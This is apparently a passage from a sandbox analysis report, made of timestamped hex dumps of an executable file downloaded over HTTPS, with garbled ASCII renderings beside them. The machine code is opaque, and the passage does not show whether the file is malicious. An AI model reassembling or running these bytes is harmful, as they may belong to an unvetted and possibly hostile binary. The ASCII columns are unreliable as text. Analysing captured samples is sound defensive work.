                                                                                                                                                  2022-12-04 11:11:47 UTC1665INData Raw: 83 bc 00 00 00 8b 04 24 8b 00 83 f8 04 0f 8f b3 00 00 00 83 c2 fb 83 fa 16 0f 87 42 22 00 00 ff 24 95 34 7b 4c 00 f6 06 01 0f 84 1b 02 00 00 83 be 58 10 00 00 00 0f 84 25 22 00 00 8b 86 a8 10 00 00 89 44 24 10 89 6c 24 08 8b ae ac 10 00 00 89 eb 01 eb 6a 00 6a 02 53 e8 13 6b 02 00 83 c4 0c 89 c7 53 50 55 8b 6c 24 14 ff 74 24 1c 6a 00 6a 00 e8 7a bd 02 00 83 c4 18 89 f1 89 fa 50 e8 0d e5 ff ff 83 c4 04 89 c3 57 e8 72 6b 02 00 83 c4 04 6a 00 ff 73 08 ff 33 ff b6 58 10 00 00 e8 dd 9e 00 00 83 c4 10 53 e8 44 71 02 00 83 c4 04 e9 ac 21 00 00 90 90 90 90 90 90 90 90 90 90 90 90 8b 04 24 8b 00 83 f8 0e 0f 87 92 21 00 00 ff 24 85 90 7b 4c 00 89 f1 e8 74 6d 00 00 8b 44 24 48 89 86 68 10 00 00 e9 75 21 00 00 8b 04 24 c7 00 00 00 00 00 8d 42 d0 83 f8 09 0f 87 60 03
                                                                                                                                                  Data Ascii: $B"$4{LX%"D$l$jjSkSPUl$t$jjzPWrkjs3XSDq!$!${LtmD$Hhu!$B`
                                                                                                                                                  2022-12-04 11:11:47 UTC1673INData Raw: f7 df 8b 96 a4 00 00 00 89 f1 6a 01 57 ff b6 a8 00 00 00 e8 99 24 00 00 83 c4 0c c6 86 ae 00 00 00 00 e9 d3 02 00 00 f6 06 01 0f 84 f1 02 00 00 89 6c 24 08 8b 86 88 01 00 00 8b 8e 2c 01 00 00 39 c8 0f 47 c1 89 86 88 01 00 00 85 c0 bf 01 00 00 00 0f 45 f8 8b 96 94 00 00 00 8b 9e 98 00 00 00 89 f1 6a 01 68 45 13 00 00 e8 52 9c ff ff 83 c4 08 89 f1 89 44 24 24 89 c2 e8 02 2a 00 00 8b ae 2c 01 00 00 8b 86 94 00 00 00 8b 96 98 00 00 00 29 d5 39 ef 0f 4e ef 89 c7 89 f1 89 54 24 10 50 e8 bb 27 00 00 83 c4 04 8b 96 98 00 00 00 01 ea 89 f1 ff b6 94 00 00 00 e8 a3 27 00 00 83 c4 04 8b 96 34 0e 00 00 8b 8e 38 0e 00 00 31 c0 3b 8e 98 00 00 00 0f 9f c0 31 c9 3b 96 94 00 00 00 0f 9f c1 0f 44 c8 80 f9 01 75 4d 8b 4c 24 10 01 e9 31 c0 39 8e 30 0e 00 00 0f 9c c0 31 c9 39
                                                                                                                                                  Data Ascii: jW$l$,9GEjhERD$$*,)9NT$P''481;1;DuML$19019
                                                                                                                                                  2022-12-04 11:11:47 UTC1681INData Raw: 00 00 00 8b 4c 24 28 31 e1 e8 c3 78 08 00 89 f0 83 c4 2c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc 8a 44 24 08 8b 4c 24 04 88 81 3c 11 00 00 c3 cc 8b 44 24 0c 8b 4c 24 08 8b 54 24 04 89 8a a0 20 00 00 89 82 a4 20 00 00 c3 cc cc cc cc cc cc cc 8b 44 24 0c 8b 4c 24 08 8b 54 24 04 89 8a a8 20 00 00 89 82 ac 20 00 00 c3 cc cc cc cc cc cc cc 55 53 57 56 83 ec 24 89 cf 8a 44 24 38 89 54 24 20 85 d2 74 0f 8b 97 94 00 00 00 8d 72 01 89 54 24 04 eb 14 8b 97 94 00 00 00 8b b7 28 01 00 00 c7 44 24 04 00 00 00 00 8a 64 24 3c 8b 8f 98 00 00 00 89 54 24 1c 89 4c 24 14 84 c0 74 33 89 74 24 08 c7 04 24 00 00 00 00 c7 44 24 0c 00 00 00 00 84 e4 0f 85 a9 00 00 00 3b 8f 2c 01 00 00 75 7d c7 44 24 14 00 00 00 00 8d 44 24 1c 89 d1 eb 71 80 bf ae 00 00 00 00 74 1a 89 f3 3b 8f
                                                                                                                                                  Data Ascii: L$(1x,^_[]D$L$<D$L$T$ D$L$T$ USWV$D$8T$ trT$(D$d$<T$L$t3t$$D$;,u}D$D$qt;
                                                                                                                                                  2022-12-04 11:11:47 UTC1689INData Raw: 48 53 50 ff 51 04 83 c4 24 8b 86 5c 10 00 00 8b 08 57 53 50 ff 51 0c 83 c4 0c e9 93 00 00 00 8d 4c 24 40 0f b7 17 8b 86 5c 10 00 00 8b 19 8b 69 04 89 6c 24 0c 89 1c 24 89 5c 24 08 8b 08 89 4c 24 04 8b 5c 24 08 8b 4c 24 0c 51 53 8b 4c 24 38 52 8b 5c 24 48 53 ff 74 24 48 ff 74 24 48 51 ff 74 24 48 50 8b 44 24 28 ff 50 04 83 c4 24 f7 c3 00 00 00 60 74 3c 0f b7 17 8b 86 5c 10 00 00 89 6c 24 0c 8b 0c 24 89 4c 24 08 8b 08 8b 74 24 08 8b 7c 24 0c 57 56 52 ff 74 24 48 ff 74 24 48 ff 74 24 48 ff 74 24 48 ff 74 24 48 50 ff 51 08 83 c4 24 8b 4c 24 14 31 e1 e8 d4 58 08 00 83 c4 18 5e 5f 5b 5d c3 68 ff 16 00 00 68 7e 43 4f 00 68 68 2c 4f 00 e8 7b 50 09 00 83 c4 0c 83 fb 01 0f 84 bb fe ff ff 68 00 17 00 00 68 7e 43 4f 00 68 1e 70 4f 00 e8 5b 50 09 00 83 c4 0c f7 44 24
                                                                                                                                                  Data Ascii: HSPQ$\WSPQL$@\il$$\$L$\$L$QSL$8R\$HSt$Ht$HQt$HPD$(P$`t<\l$$L$t$|$WVRt$Ht$Ht$Ht$Ht$HPQ$L$1X^_[]hh~COhh,O{Phh~COhpO[PD$
                                                                                                                                                  2022-12-04 11:11:47 UTC1697INData Raw: 88 9e 43 01 00 00 e9 7d 03 00 00 81 fa d4 07 00 00 0f 85 71 03 00 00 88 9e 54 01 00 00 e9 66 03 00 00 89 d8 34 01 88 86 3e 01 00 00 84 db 0f 84 c5 02 00 00 8a 86 cb 10 00 00 e9 c3 02 00 00 c7 86 20 0e 00 00 00 00 00 00 c7 86 2c 0e 00 00 00 00 00 00 c7 86 30 0e 00 00 00 00 00 00 c7 86 34 0e 00 00 00 00 00 00 c7 86 38 0e 00 00 00 00 00 00 80 be f4 10 00 00 00 75 1f 84 db b8 84 00 00 00 ba 50 00 00 00 0f 45 d0 89 f1 ff b6 28 01 00 00 e8 eb f8 ff ff 83 c4 04 88 9e c5 00 00 00 c7 86 a4 00 00 00 00 00 00 00 c7 86 78 01 00 00 00 00 00 00 8b 86 28 01 00 00 8b 8e 2c 01 00 00 8d 50 ff 89 96 a8 00 00 00 8d 79 ff 31 db 85 c9 0f 4f fb 89 96 7c 01 00 00 85 c0 0f 4f d3 89 be 98 00 00 00 89 96 94 00 00 00 c6 86 ae 00 00 00 00 89 f1 31 d2 6a 01 6a 01 e8 f4 c0 ff ff 83 c4
                                                                                                                                                  Data Ascii: C}qTf4> ,048uPE(x(,Py1O|O1jj
                                                                                                                                                  2022-12-04 11:11:47 UTC1704INData Raw: b2 01 00 83 c4 08 88 46 30 6a 5b 57 e8 90 b2 01 00 83 c4 08 88 46 31 6a 02 57 e8 32 b3 01 00 83 c4 08 89 46 34 6a 5f 57 e8 24 b3 01 00 83 c4 08 89 46 38 6a 60 57 e8 16 b3 01 00 83 c4 08 89 46 3c 5e 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 8d 46 0c 50 e8 92 26 02 00 83 c4 04 8b 06 85 c0 74 0a c7 80 58 10 00 00 00 00 00 00 8b 46 04 85 c0 74 0b 8b 08 6a 00 50 ff 51 30 83 c4 08 8b 46 40 85 c0 74 09 50 e8 30 cf 01 00 83 c4 04 8b 46 2c 85 c0 74 0f 8d 4e 2c 39 48 3c 75 07 c7 40 3c 00 00 00 00 56 e8 51 96 00 00 83 c4 04 5e e9 08 cf 01 00 cc cc cc cc cc cc cc cc 53 56 50 8b 74 24 10 8b 46 3c b1 01 89 0c 24 b3 01 85 c0 74 19 83 f8 02 75 12 8b 46 04 8b 08 6a 00 50 ff 51 2c 83 c4 08 89 c3 eb 02 31 db 8b 46 38 85 c0 74 1f 83 f8 02 75 13 8b 46 04 8b
                                                                                                                                                  Data Ascii: F0j[WF1jW2F4j_W$F8j`WF<^_Vt$FP&tXFtjPQ0F@tP0F,tN,9H<u@<VQ^SVPt$F<$tuFjPQ,1F8tuF
                                                                                                                                                  2022-12-04 11:11:47 UTC1712INData Raw: 74 24 20 e8 09 92 01 00 83 c4 08 85 db 0f 95 c3 56 e8 bb 91 01 00 83 c4 04 89 d8 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc a1 6c 1e 50 00 85 c0 75 2c 6a 00 68 f0 e0 41 00 ff 74 24 0c 6a 6e ff 35 e8 0b 50 00 ff 15 6c d5 4f 00 a3 6c 1e 50 00 6a 01 50 ff 15 0c d7 4f 00 a1 6c 1e 50 00 50 ff 15 c0 d6 4f 00 c3 cc cc cc 55 53 57 56 83 ec 20 31 ed 8b 44 24 38 8b 7c 24 34 83 f8 10 0f 84 ed 00 00 00 3d 11 01 00 00 0f 84 d5 00 00 00 3d 10 01 00 00 0f 85 f6 00 00 00 ff 35 7c 77 4c 00 68 64 3f 4e 00 e8 00 a5 01 00 83 c4 08 89 c6 50 57 ff 15 fc d6 4f 00 56 e8 bd af 01 00 83 c4 04 68 20 00 50 00 6a 02 68 92 01 00 00 68 e9 03 00 00 57 ff 15 b8 d6 4f 00 83 3d 74 1e 50 00 00 7e 2a 31 f6 8b 1d b8 d6 4f 00 90 ff 34 b5 78 1e 50 00 6a 00 68 80 01 00 00
                                                                                                                                                  Data Ascii: t$ V^_[]lPu,jhAt$jn5PlOlPjPOlPPOUSWV 1D$8|$4==5|wLhd?NPWOVh PjhhWO=tP~*1O4xPjh
                                                                                                                                                  2022-12-04 11:11:47 UTC1720INData Raw: 01 00 00 ff 33 55 ff 15 b8 d6 4f 00 89 df 83 f8 ff 74 40 89 c3 6a 00 6a 00 68 8b 01 00 00 ff 37 55 ff 15 b8 d6 4f 00 89 f9 3b 77 04 75 3a 85 db 7e 36 89 d8 83 c0 ff 89 ce 8b 11 89 e9 50 53 89 f3 e8 8b 03 00 00 83 c4 08 bf 02 00 00 00 e9 2f 03 00 00 6a 00 ff 15 70 d6 4f 00 8b 54 24 38 89 fb 31 ff e9 1e 03 00 00 bf 02 00 00 00 3b 71 08 0f 85 55 02 00 00 83 c0 ff 39 c3 0f 8d 4a 02 00 00 89 d8 83 c0 01 89 ce 8b 11 89 e9 50 53 89 f3 e9 de 02 00 00 c6 43 14 01 8b 7e 04 8b 4e 08 8b 46 0c 6a 01 89 44 24 10 50 89 4c 24 10 51 57 ff 15 88 22 50 00 83 f8 ff 0f 84 30 02 00 00 89 f8 31 ff bd 01 00 00 00 be ff ff ff ff 6a 00 ff 74 24 10 ff 74 24 10 89 44 24 1c 50 ff 15 88 22 50 00 89 44 24 04 31 d2 8b 4c 24 0c eb 1f 90 90 90 90 85 ff 0f 44 f9 83 c5 01 83 c6 ff 81 fe 00
                                                                                                                                                  Data Ascii: 3UOt@jjh7UO;wu:~6PS/jpOT$81;qU9JPSC~NFjD$PL$QW"P01jt$t$D$P"PD$1L$D
                                                                                                                                                  2022-12-04 11:11:47 UTC1728INData Raw: 20 56 e8 ca f3 08 00 83 c4 04 8b 0c 24 8b 7c 24 04 8b 6c 24 0c 8b 94 24 08 01 00 00 01 fa 29 d5 89 ea c1 ea 1f 01 ea d1 fa 01 fa 8b 6c 24 08 8b bc 24 04 01 00 00 01 cf 29 fd 89 ef c1 ef 1f 01 ef d1 ff 01 cf 50 56 52 57 53 ff 15 14 d5 4f 00 b3 01 8b 8c 24 5c 01 00 00 31 e1 e8 f1 bc 07 00 89 d8 81 c4 60 01 00 00 5e 5f 5b 5d c3 8b 3e 85 ff 0f 84 12 ff ff ff 83 7f 10 00 0f 84 08 ff ff ff 89 e8 2b 46 04 8b 94 24 74 01 00 00 c6 82 bc 00 00 00 00 8b 0f 31 db 83 c1 ff 83 f9 07 77 b2 ff 24 8d a4 e8 4c 00 81 bc 24 78 01 00 00 11 01 00 00 0f 85 d1 fe ff ff 89 f8 8b bc 24 7c 01 00 00 c1 ef 10 89 c5 80 78 2d 00 0f 84 50 04 00 00 8d 47 fd 83 f8 01 0f 87 d4 06 00 00 8b 42 34 83 ff 03 0f 85 f8 05 00 00 89 e9 85 c0 0f 85 fa 05 00 00 e9 f8 05 00 00 81 bc 24 78 01 00 00 11
                                                                                                                                                  Data Ascii: V$|$l$$)l$$)PVRWSO$\1`^_[]>+F$t1w$L$x$|x-PGB4$x
                                                                                                                                                  2022-12-04 11:11:47 UTC1736INData Raw: c4 08 c3 8b 4c 24 04 31 e1 e8 03 9e 07 00 83 c4 08 e9 0b 00 00 00 cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 b8 2c 10 00 00 e8 f2 9d 07 00 a1 34 00 50 00 31 e0 89 84 24 28 10 00 00 c7 44 24 1c 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 8d 44 24 1c 50 68 04 e9 4c 00 6a 01 6a 00 68 14 e9 4c 00 ff 15 40 d5 4f 00 b2 01 85 c0 0f 88 f2 02 00 00 8b 44 24 1c 8b 08 8d 54 24 10 8d 74 24 24 52 68 24 e9 4c 00 56 50 ff 51 10 85 c0 0f 88 cb 02 00 00 8b 44 24 10 8b 08 8d 54 24 20 52 50 ff 51 0c 85 c0 79 08 c7 44 24 20 00 00 00 00 8d 44 24 18 50 68 34 e9 4c 00 6a 01 6a 00 68 44 e9 4c 00 ff 15 40 d5 4f 00 85 c0 0f 88 93 02 00 00 e8 0f 0a 01 00 89 04 24 80 38 00 0f 84 23 01 00 00 31 f6 bb 1e 00 00 00 8b 14 24 eb 38 90 90 90 90 90
                                                                                                                                                  Data Ascii: L$1USWV,4P1$(D$D$D$D$D$PhLjjhL@OD$T$t$$Rh$LVPQD$T$ RPQyD$ D$Ph4LjjhDL@O$8#1$8
                                                                                                                                                  2022-12-04 11:11:47 UTC1744INData Raw: 00 83 c4 0c 89 c7 6a 00 56 e8 43 4c 01 00 83 c4 08 85 c0 74 46 89 c3 31 ed eb 25 90 90 90 90 90 90 89 1c af 8b 03 89 84 af 00 02 00 00 83 c5 01 55 56 e8 1a 4c 01 00 83 c4 08 89 c3 85 c0 74 1d 83 fd 40 72 dc 6a 77 68 94 35 4f 00 68 54 62 4f 00 e8 3e 76 08 00 83 c4 0c eb c6 31 ed 89 f8 05 00 02 00 00 89 af 00 03 00 00 5e 5f 5b 5d c3 cc cc 57 56 8b 74 24 10 8b 7c 24 0c 85 f6 78 32 39 b7 00 01 00 00 7f 17 68 85 00 00 00 68 94 35 4f 00 68 76 1e 4f 00 e8 f9 75 08 00 83 c4 0c 8b 84 b7 00 fe ff ff ff 70 08 ff 50 04 83 c4 04 5e 5f c3 68 84 00 00 00 68 94 35 4f 00 68 72 14 4f 00 e8 cf 75 08 00 83 c4 0c 39 b7 00 01 00 00 7e b7 eb cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc b8 00 fe ff ff 03 44 24 04 50 e8 91 32 01 00 83 c4 04 c3 cc cc cc cc cc cc cc cc cc cc cc
                                                                                                                                                  Data Ascii: jVCLtF1%UVLt@rjwh5OhTbO>v1^_[]WVt$|$x29hh5OhvOupP^_hh5OhrOu9~D$P2
                                                                                                                                                  2022-12-04 11:11:47 UTC1751INData Raw: 09 4f 00 57 e8 98 15 02 00 83 c4 0c 89 46 0c c6 40 24 00 68 75 1d 4e 00 68 7f fa 4d 00 68 8a 2c 4e 00 53 e8 29 09 02 00 83 c4 10 89 c7 6a 00 e8 8d 04 02 00 83 c4 04 89 44 24 10 56 e8 80 04 02 00 83 c4 04 89 44 24 0c 8b 44 24 10 8b 4c 24 0c 50 51 68 c0 84 42 00 68 a0 14 4e 00 6a 64 6a 68 68 f5 d8 4d 00 57 e8 d6 0c 02 00 83 c4 20 89 46 10 6a 12 6a 12 6a 12 6a 2c 6a 04 57 e8 70 0b 02 00 83 c4 18 68 61 3c 4e 00 68 17 bc 4e 00 57 e8 0d 15 02 00 83 c4 0c 89 c3 c7 40 0c 00 00 00 00 56 e8 1b 04 02 00 83 c4 04 89 44 24 08 8b 44 24 08 50 68 10 85 42 00 68 61 3c 4e 00 6a 00 68 bd cd 4e 00 57 e8 78 15 02 00 83 c4 18 89 c5 c7 40 0c 01 00 00 00 89 58 20 6a 00 e8 e2 03 02 00 83 c4 04 89 45 18 89 6e 14 56 e8 d3 03 02 00 83 c4 04 89 44 24 04 8b 44 24 04 50 68 10 85 42 00
                                                                                                                                                  Data Ascii: OWF@$huNhMh,NS)jD$VD$D$L$PQhBhNjdjhhMW Fjjjj,jWpha<NhNW@VD$D$PhBha<NjhNWx@X jEnVD$D$PhB
                                                                                                                                                  2022-12-04 11:11:47 UTC1759INData Raw: 02 b8 70 fe 4e 00 b9 3c 13 4f 00 0f 44 c8 83 ff 01 b8 78 fe 4e 00 0f 45 c1 50 53 68 b4 06 4e 00 e8 0c ea 00 00 83 c4 0c 89 c3 50 ff 76 0c e8 ee b2 ff ff 83 c4 08 53 e8 c5 f4 00 00 83 c4 04 68 3c 13 4f 00 6a 00 57 ff 76 34 8b 6c 24 54 55 ff 74 24 54 ff 74 24 54 e8 c5 42 02 00 83 c4 1c 89 c7 50 e8 4a d0 00 00 83 c4 04 85 c0 74 0e 89 c3 57 e8 ab bf 00 00 83 c4 04 53 eb 50 8a 74 24 4c 8a 54 24 48 89 f3 83 c3 5c 89 e9 8b 6c 24 40 85 ed b8 5f 00 00 00 0f 49 c5 89 cd 0f b6 ce 0f b6 d2 ff 74 24 04 ff 76 34 53 51 52 6a 01 6a 00 50 ff 75 00 57 e8 58 46 02 00 83 c4 28 89 06 8b 08 50 ff 51 18 83 c4 04 85 c0 74 20 50 e8 d0 4a 01 00 83 c4 04 89 c6 8b 4c 24 10 31 e1 e8 70 3f 07 00 89 f0 83 c4 14 5e 5f 5b 5d c3 ff 34 24 ff 76 34 e8 cb 26 02 00 83 c4 08 89 46 58 8b 46 08
                                                                                                                                                  Data Ascii: pN<ODxNEPShNPvSh<OjWv4l$TUt$Tt$TBPJtWSPt$LT$H\l$@_It$v4SQRjjPuWXF(PQt PJL$1p?^_[]4$v4&FXF
                                                                                                                                                  2022-12-04 11:11:47 UTC1767INData Raw: 14 8b 4c 24 0c 31 e1 e8 05 21 07 00 83 c4 10 5e 5f 5b 5d c3 81 fb fe 00 00 00 b9 08 82 4e 00 b8 84 b0 4e 00 0f 44 c1 8b 0c 24 51 50 68 e6 e9 4d 00 68 8a 07 4e 00 ff 76 0c e8 d3 94 ff ff 83 c4 14 8b 17 89 f1 e8 27 00 00 00 eb b5 bb b8 f2 4c 00 b8 c0 f2 4c 00 e9 22 fd ff ff bb b0 f2 4c 00 b8 4c f3 4c 00 e9 13 fd ff ff cc cc cc cc cc cc cc 55 53 57 56 83 ec 08 89 d6 89 cf a1 34 00 50 00 31 e0 89 44 24 04 81 3a fb 00 00 00 0f 85 9e 00 00 00 8b 46 10 83 f8 1f 75 1e 8d 47 6c 8b 4f 6c ff 77 18 ff 77 14 50 ff 51 14 83 c4 0c 81 3e fb 00 00 00 75 7b 8b 46 10 83 f8 27 74 05 83 f8 24 75 6e 31 c9 83 f8 27 0f 94 c1 bd 04 00 00 00 29 cd 83 7c af 20 01 77 50 31 c9 83 f8 27 0f 95 c1 8d 1c 49 83 cb 24 66 c7 44 24 01 ff fc 88 5c 24 03 8b 07 8b 08 8d 54 24 01 6a 03 52 50 ff
                                                                                                                                                  Data Ascii: L$1!^_[]NND$QPhMhNv'LL"LLLUSWV4P1D$:FuGlOlwwPQ>u{F't$un1')| wP1'I$fD$\$T$jRP
                                                                                                                                                  2022-12-04 11:11:47 UTC1775INData Raw: bf 01 00 00 00 83 bc 24 28 10 00 00 00 0f 88 ac 06 00 00 8b 1d 78 77 4c 00 f6 c3 03 0f 85 8f 06 00 00 83 bc 24 28 10 00 00 00 0f 85 e8 f3 ff ff 6a 01 6a 33 ff b4 24 34 10 00 00 e8 d1 9f 00 00 83 c4 0c 68 b1 ac 4e 00 56 e8 b3 32 08 00 83 c4 08 bf 01 00 00 00 85 c0 0f 85 8b f9 ff ff f6 c3 02 74 33 e9 f4 00 00 00 bf 01 00 00 00 83 bc 24 28 10 00 00 00 0f 88 44 06 00 00 f6 05 78 77 4c 00 02 0f 85 d4 00 00 00 83 bc 24 28 10 00 00 00 0f 85 82 f3 ff ff 6a 01 6a 17 ff b4 24 34 10 00 00 e8 6b 9f 00 00 83 c4 0c bf 01 00 00 00 e9 36 f9 ff ff bf 01 00 00 00 83 bc 24 28 10 00 00 00 0f 88 f9 05 00 00 f6 05 78 77 4c 00 02 0f 85 de 05 00 00 83 bc 24 28 10 00 00 00 0f 85 37 f3 ff ff 6a 00 6a 24 ff b4 24 34 10 00 00 e8 e0 9f 00 00 83 c4 0c 68 c2 c8 4e 00 56 e8 02 32 08 00
                                                                                                                                                  Data Ascii: $(xwL$(jj3$4hNV2t3$(DxwL$(jj$4k6$(xwL$(7jj$$4hNV2
                                                                                                                                                  2022-12-04 11:11:47 UTC1783INData Raw: 00 53 e8 ca 7a 00 00 83 c4 08 b9 02 00 00 00 29 c1 51 68 ea 1a 4e 00 57 e8 44 3e 00 00 83 c4 0c 68 bf 00 00 00 53 e8 a6 7a 00 00 83 c4 08 b9 02 00 00 00 29 c1 51 68 78 e7 4d 00 57 e8 20 3e 00 00 83 c4 0c 68 c0 00 00 00 53 e8 82 7a 00 00 83 c4 08 29 c6 56 68 43 eb 4d 00 57 e8 01 3e 00 00 83 c4 0c 68 c6 00 00 00 53 e8 b3 79 00 00 83 c4 08 0f b6 c0 50 68 0b 1c 4e 00 57 e8 e1 3d 00 00 83 c4 0c 68 c7 00 00 00 53 e8 93 79 00 00 83 c4 08 0f b6 c0 50 68 b3 34 4e 00 57 e8 c1 3d 00 00 83 c4 0c 68 c8 00 00 00 53 e8 73 79 00 00 83 c4 08 0f b6 c0 50 68 f7 eb 4d 00 57 e8 a1 3d 00 00 83 c4 0c 68 ca 00 00 00 53 e8 63 7f 00 00 83 c4 08 50 68 68 e8 4d 00 57 e8 04 40 00 00 83 c4 0c 68 cb 00 00 00 53 e8 46 7f 00 00 83 c4 08 50 68 5b e8 4d 00 57 e8 e7 3f 00 00 83 c4 0c 68 cc
                                                                                                                                                  Data Ascii: Sz)QhNWD>hSz)QhxMW >hSz)VhCMW>hSyPhNW=hSyPh4NW=hSsyPhMW=hScPhhMW@hSFPh[MW?h
                                                                                                                                                  2022-12-04 11:11:47 UTC1790INData Raw: 55 e8 eb 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 6a 61 53 e8 77 61 00 00 83 c4 0c 6a 00 68 57 17 4e 00 e8 78 52 03 00 83 c4 08 85 ed 74 17 0f b6 c0 50 68 57 17 4e 00 55 e8 b2 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 6a 62 53 e8 3e 61 00 00 83 c4 0c 6a 00 68 93 14 4e 00 e8 3f 52 03 00 83 c4 08 85 ed 74 17 0f b6 c0 50 68 93 14 4e 00 55 e8 79 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 68 89 00 00 00 53 e8 02 61 00 00 83 c4 0c 6a 00 68 37 5c 4e 00 e8 03 52 03 00 83 c4 08 85 ed 74 17 0f b6 c0 50 68 37 5c 4e 00 55 e8 3d 1f 00 00 83 c4 0c 85 c0 0f 95 c0 0f b6 c0 50 68 8a 00 00 00 53 e8 c6 60 00 00 83 c4 0c 6a 01 68 70 19 4e 00 e8 d7 51 03 00 83 c4 08 50 68 70 19 4e 00 55 e8 08 1f 00 00 83 c4 0c 50 68 8b 00 00 00 53 e8 59 61 00 00 83 c4 0c 6a 00 68 aa
                                                                                                                                                  Data Ascii: UPjaSwajhWNxRtPhWNUPjbS>ajhN?RtPhNUyPhSajh7\NRtPh7\NU=PhS`jhpNQPhpNUPhSYajh
                                                                                                                                                  2022-12-04 11:11:47 UTC1798INData Raw: cc 8b 44 24 04 ff 30 e8 45 82 00 00 83 c4 04 e9 ad 58 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 57 56 8b 7c 24 0c 85 ff 74 05 80 3f 00 75 05 bf 30 fe 4d 00 e8 b7 5d 00 00 89 c6 50 57 e8 3e 33 03 00 83 c4 08 6a 00 ff 36 68 99 fb 4d 00 68 01 00 00 80 6a 00 e8 16 81 00 00 83 c4 14 89 c7 56 e8 4b 5e 00 00 83 c4 04 85 ff 74 12 6a 00 6a 04 6a 01 e8 b9 57 00 00 83 c4 0c 89 38 eb 02 31 c0 5e 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 85 c0 74 0f ff 74 24 08 ff 30 e8 0d 83 00 00 83 c4 08 c3 31 c0 c3 cc cc cc cc cc cc 56 83 ec 08 8b 74 24 18 8b 44 24 10 8b 0d 34 00 50 00 31 e1 89 4c 24 04 85 c0 74 18 89 e1 51 ff 74 24 18 ff 30 e8 36 82 00 00 83 c4 0c 84 c0 74 03 8b 34 24 8b 4c 24 04 31 e1 e8 21 a3 06 00 89 f0 83 c4 08 5e c3 cc cc cc cc cc cc cc cc
                                                                                                                                                  Data Ascii: D$0EXWV|$t?u0M]PW>3j6hMhjVK^tjjjW81^_D$tt$01Vt$D$4P1L$tQt$06t4$L$1!^
                                                                                                                                                  2022-12-04 11:11:47 UTC1806INData Raw: 07 00 83 c4 08 b3 01 85 c0 74 27 68 84 cb 4e 00 56 e8 eb b5 07 00 83 c4 08 85 c0 74 15 6a 04 68 b4 e2 4e 00 56 e8 b7 bb 07 00 83 c4 0c 85 c0 0f 94 c3 89 d8 5e 5b c3 cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 0c 8b 74 24 20 a1 34 00 50 00 31 e0 89 44 24 08 8b 46 08 83 f8 02 74 67 83 f8 01 75 79 8b 46 0c 85 c0 0f 84 85 00 00 00 8b 48 04 85 c9 74 67 83 f9 02 0f 84 5f 01 00 00 83 f9 17 75 42 8b 40 18 66 83 78 08 00 75 4f 66 83 78 0a 00 75 48 66 83 78 0c 00 75 41 66 83 78 0e 00 75 3a 66 83 78 10 00 75 33 66 83 78 12 00 75 2c 66 83 78 14 00 75 25 0f b7 40 16 3d 00 01 00 00 0f 94 c3 eb 19 68 e2 02 00 00 68 8e 44 4f 00 68 ec 6b 4f 00 e8 ba 7b 07 00 83 c4 0c 31 db 8b 4c 24 08 31 e1 e8 e7 83 06 00 89 d8 83 c4 0c 5e 5f 5b 5d c3 8b 46 10 85 c0 74 06 83 7e 14 00
                                                                                                                                                  Data Ascii: t'hNVtjhNV^[USWVt$ 4P1D$FtguyFHtg_uB@fxuOfxuHfxuAfxu:fxu3fxu,fxu%@=hhDOhkO{1L$1^_[]Ft~
                                                                                                                                                  2022-12-04 11:11:47 UTC1814INData Raw: 3c b5 08 02 4d 00 03 74 17 68 44 01 00 00 68 e8 4e 4f 00 68 7e 64 4f 00 e8 37 5d 07 00 83 c4 0c 89 34 24 89 5c 24 04 89 e0 6a 00 50 ff 37 e8 ae 38 00 00 83 c4 0c 85 c0 74 05 8b 70 08 eb 02 31 f6 8b 4c 24 08 31 e1 e8 45 65 06 00 89 f0 83 c4 0c 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 57 56 83 ec 0c 8b 74 24 20 a1 34 00 50 00 31 e0 89 44 24 08 83 3c b5 48 05 4d 00 03 74 17 68 43 01 00 00 68 e8 4e 4f 00 68 3c 64 4f 00 e8 c0 5c 07 00 83 c4 0c 8b 5c 24 24 8b 7c 24 1c 83 3c b5 08 02 4d 00 03 74 17 68 44 01 00 00 68 e8 4e 4f 00 68 7e 64 4f 00 e8 97 5c 07 00 83 c4 0c 89 34 24 89 5c 24 04 89 e0 6a 00 50 ff 37 e8 0e 38 00 00 83 c4 0c 85 c0 74 07 8b 70 08 85 f6 75 19 68 4e 01 00 00 68 e8 4e 4f 00 68 90 19 4f 00 e8 5f 5c 07 00 83 c4 0c 31 f6 8b 4c 24 08 31
                                                                                                                                                  Data Ascii: <MthDhNOh~dO7]4$\$jP78tp1L$1Ee^_[SWVt$ 4P1D$<HMthChNOh<dO\\$$|$<MthDhNOh~dO\4$\$jP78tpuhNhNOhO_\1L$1
                                                                                                                                                  2022-12-04 11:11:47 UTC1822INData Raw: cc 53 8b 4c 24 08 8b 41 08 85 c0 74 1a 8a 5c 24 0c 8b 11 38 5c 02 ff 75 0e 83 c0 ff 89 41 08 c6 04 02 00 b0 01 5b c3 31 c0 5b c3 cc cc cc cc cc cc 57 56 6a 00 6a 20 6a 01 e8 33 fa ff ff 83 c4 0c 89 c7 8d 70 04 83 c0 10 c7 47 10 e0 98 43 00 89 47 18 c7 47 14 40 99 43 00 c7 47 0c 00 00 00 00 c7 07 00 02 00 00 c6 47 1c 00 6a 00 6a 01 68 00 02 00 00 e8 f8 f9 ff ff 83 c4 0c 89 47 04 89 47 08 c6 00 00 89 f0 5e 5f c3 cc cc cc cc cc cc cc 57 56 6a 00 6a 20 6a 01 e8 d3 f9 ff ff 83 c4 0c 89 c7 8d 70 04 83 c0 10 c7 47 10 e0 98 43 00 89 47 18 c7 47 14 40 99 43 00 c7 47 0c 00 00 00 00 c7 07 00 02 00 00 c6 47 1c 01 6a 00 6a 01 68 00 02 00 00 e8 98 f9 ff ff 83 c4 0c 89 47 04 89 47 08 c6 00 00 89 f0 5e 5f c3 cc cc cc cc cc cc cc 56 8b 74 24 08 8b 06 83 